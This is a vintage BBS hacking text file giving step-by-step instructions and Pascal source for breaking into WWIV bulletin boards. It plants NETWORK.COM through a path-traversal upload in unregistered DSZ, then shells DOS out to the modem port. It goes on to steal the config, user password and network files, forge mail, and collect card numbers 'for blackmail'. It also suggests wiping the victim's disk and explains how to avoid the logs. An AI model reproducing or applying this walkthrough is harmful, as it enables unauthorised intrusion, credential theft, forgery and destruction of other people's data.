HACKWWIV.TXT

(* Hacking into WWIV, Second Edition

by Vision (updated by Weasel)

WWIV, when unmodified and when not using external chains/protocols/programs, is essentially impregnable. However, good ol' Wayne Bell has also distributed the source code, external network programs, protocol support, and other nifty benefits that have made life for a WWIV hack much easier. This textfile will describe the essentials of hacking into WWIV via a hole in unregis The key here is >unregistered<, since this hack works through DSZ's refusal to reroute Zmodem-batch downloads without registration.

Step One:

Call your local WWIV board under a false alias. They are usually struggling and haven't had the time to 'register' DSZ. This will only work if they haven't registered DSZ!

Step Two:

One you have an account go straight to the transfer section. Upload (to the SysOp). When prompted for the file name, enter "..\..\??.???". You'll see the Zmodem receive string. Upload the included file NETWORK.COM. The BBS will say, "transfer aborted"... but you know better! Hang Up.

Step Three:

Call back very shortly afterwards (thirty seconds approx.). When you get the "NN:" prompt, enter "!-@NETWORK@-!" (again, no quotes). This will access the unpassworded WWIVnet account (the password routines are external). When the BBS sees this, it will drop to DOS and run NETWORK.EXE. However, since COMs are run before EXEs, your NETWORK.COM will be executed! NETWORK.COM then created two batch files: HACK.BAT and DLZ.BAT. They are as follows:

HACK.BAT

```
DEL NETWORK.COM
CTTY COM1
COMMAND
```

DLZ.BAT

```
CLS
CTTY CON
DSZ port1 speed2400 sz %1
```

```
CTTY COM1
CLS
```

After NETWORK.COM has created these two files, it will run HACK.BAT which will turn control over to COM 1 and shell to dos! Now that you are in DOS, there are a few things that you must immediately do.

Step Four:

Use DLZ.BAT to leech the target's CONFIG.DAT from his main BBS directory (the one you were dumped in when you arrived). The format is:

```
DLZ <filename>
```

where <filename> is the name of the file. For example,

```
DLZ CONFIG.DAT
```

will leech the configuration file.

Step Five:

Go to his BBS DATA directory. This is usually C:\WWIV\DATA, but you might have to look around a little bit. When you find it, use DLZ to leech the target's USER.LST. Using Norton Utilities or any hex and/or text editor, it is very easy to see where the usernames and their passwords are stored.

Step Six:

If the target is in WWIVnet or WWIVlink, download his/her CALLOUT.NET file from the aforementioned data directory. This will be explained later.

Step Seven:

Delete HACK.BAT if you haven't already!

Step Eight:

Look around. Leech anything that looks interesting. This includes:

```
            / Private G-Files from the G-File section
Good for --< Lists of credit-card or calling-card numbers
blackmail   \ Pirate files
```

--> His dialing directories from Telemate or Telix; these usually contain passwords and numbers of private BBS's!

Step Nine:

Hang up. If you really hate him, upload Norton's WIPEDISK.EXE along with the rest of the files, run it, and permanently destroy all data on his drive. This is generally not recommended, because so far he has NO WAY of knowing you were in unless he watched.

Tips:

----

a) In the target's logs, nothing will show except that you hit 'U' when you were online and quit before the upload started. This is virtually always overlooked, and logs more than two days old are usually deleted.

b) In the target's net logs, he'll probably see a >NO NET<, which is rather common.

c) Very close to the beginning of CONFIG.DAT and right before the first directory entry (usually "MSGS\") you will find the target's SYSTEM PASSWORD. This is needed if you are going to log on as him or a remote sysop.

d) If a sysop logs on, it is not noted in the LAST FEW CALLERS screen OR the logs.

e) A few commands that you will want to try out when you are online as #1 are:

```
//DOS
//UEDIT
//BOARDEDIT
//DIREDIT
//GFILEEDIT
//CHUSER
```

Most require the system password, but if you're online as the sysop you already have that.

f) You can have great fun with planted and rouge mailing if you have a copy of WWIV and the victim's CALLOUT.NET. CALLOUT.NET has a little note after every entry that looks something like:

"KAOIYQIGNADFUKG"

Or another random password. Read WWIVTECH.DOC (available on most WWIV boards) for more information. You should be able to pick up/drop off mail supposedly from and to your target very easily for about a week. When you start getting >BAD PASSWORD<, get back into your victim's DOS and get the passwords again!

g) You should be able to figure out what to do with the password file.

h) NEVER, NEVER, NEVER press backspace when there is nothing to backspace! This will have catastophic effects and will definintely crash CTTY!

i) This file is provided to inform WWIV sysops of this threat. If somebody uses it for "bad" purposes, it is not my fault.

COM Ports

As you may have noticed the batch files that NETWORK.COM creates (HACK.BAT and DLZ.BAT) are created to be run on a bbs with it's modem as COM 1. Due to the fact that all bbs's don't use COM 1 I have included the pascal source for NETWORK.COM so it may be edited as to turn control over to COM 2, 3, or 4. Due to the Fact that this entire text file has been in pascal commenting you can use this text file as the source to compile a modified NETOWRK.COM file. *)

```
    {$M 8192,0,0}          (* Leave memory for child process *)

uses Dos;

VAR

  diskfile :text;

begin

  assign       (diskfile,'hack.bat');          (* Creates: *)
  rewrite      (diskfile);                     (* HACK.BAT *)
  writeln      (diskfile,'DEL NETWORK.COM');
  writeln      (diskfile,'CTTY COM1');         (* Change port here *)
  writeln      (diskfile,'COMMAND');
  close        (diskfile);
  assign       (diskfile,'dlz.bat');                   (* Creates *)
  rewrite      (diskfile);                             (* DLZ.BAT *)
  writeln      (diskfile,'CLS');
  writeln      (diskfile,'CTTY CON');
  writeln      (diskfile,'DSZ port1 speed2400 sz %1'); (* change port *)
  writeln      (diskfile,'CTTY COM1');
  writeln      (diskfile,'CLS');
  close        (diskfile);

  SwapVectors;                                      (*****************)
  Exec         (GetEnv('COMSPEC'), '/C hack.bat');  (* runs HACK.BAT *)
  SwapVectors;                                      (*****************)
end.

(*
                      \        /
                   <=---\----/--i--s--i--o--n---=>
                          \/

Downloaded From P-80 Systems 304-744-2253
```